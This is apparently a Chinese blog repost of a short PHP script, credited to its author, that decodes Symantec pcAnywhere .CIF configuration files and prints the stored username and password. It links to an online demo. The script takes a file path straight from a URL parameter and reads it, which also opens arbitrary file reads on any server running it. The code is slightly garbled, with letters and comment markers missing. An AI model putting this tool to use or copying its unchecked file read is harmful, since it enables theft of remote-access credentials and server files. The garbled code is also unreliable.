鬼仔's Blog

来源：7jdg's blog


<?php
* ---------------------------------------------------------- */
* PcAnywhere CIF Decode
* QQ:7259561 MSN:[email protected]
* Blog:http://1v1.name
* ---------------------------------------------------------- */
rror_reporting(7);
unction PcAnywhere($data, $mode)
{
$Pass=substr($data, 2);
$str =0;
if ($mode == "Pass")$number=32;
if ($mode == "User")$number=64;
for ($i=0; $i < $number; $i+=2){
if ($mode == "Pass")$Cifnum=($str + 144);
if ($mode == "User")$Cifnum=($str + 15);
$PassWord=((Hexdec(substr($data, $i, 2)) ^ Hexdec(substr($Pass, $i, 2))) ^ $Cifnum);
if (($PassWord <= 32) or ($PassWord > 127))break;
$Num.=chr($PassWord);
$str++;}
return $Num;
}
$path=$_GET['path'];
//"C:\Documents and Settings\All Users\Application Data\Symantec\PcAnywhere\PCA.1v1.name.CIF"
$path=str_replace("\\\\","\\",$path);
$str =@file_get_contents($path);
$binstr = bin2hex ($str);
echo "Path:".$path."<br>";
echo "User:". PcAnywhere(substr($binstr,918,64), User)."<br>";
echo "Pass:". PcAnywhere(substr($binstr,1176,32), Pass)."<br>";
?>


在线演示:http://www.cha88.cn/safe/online_pcAnywhere.php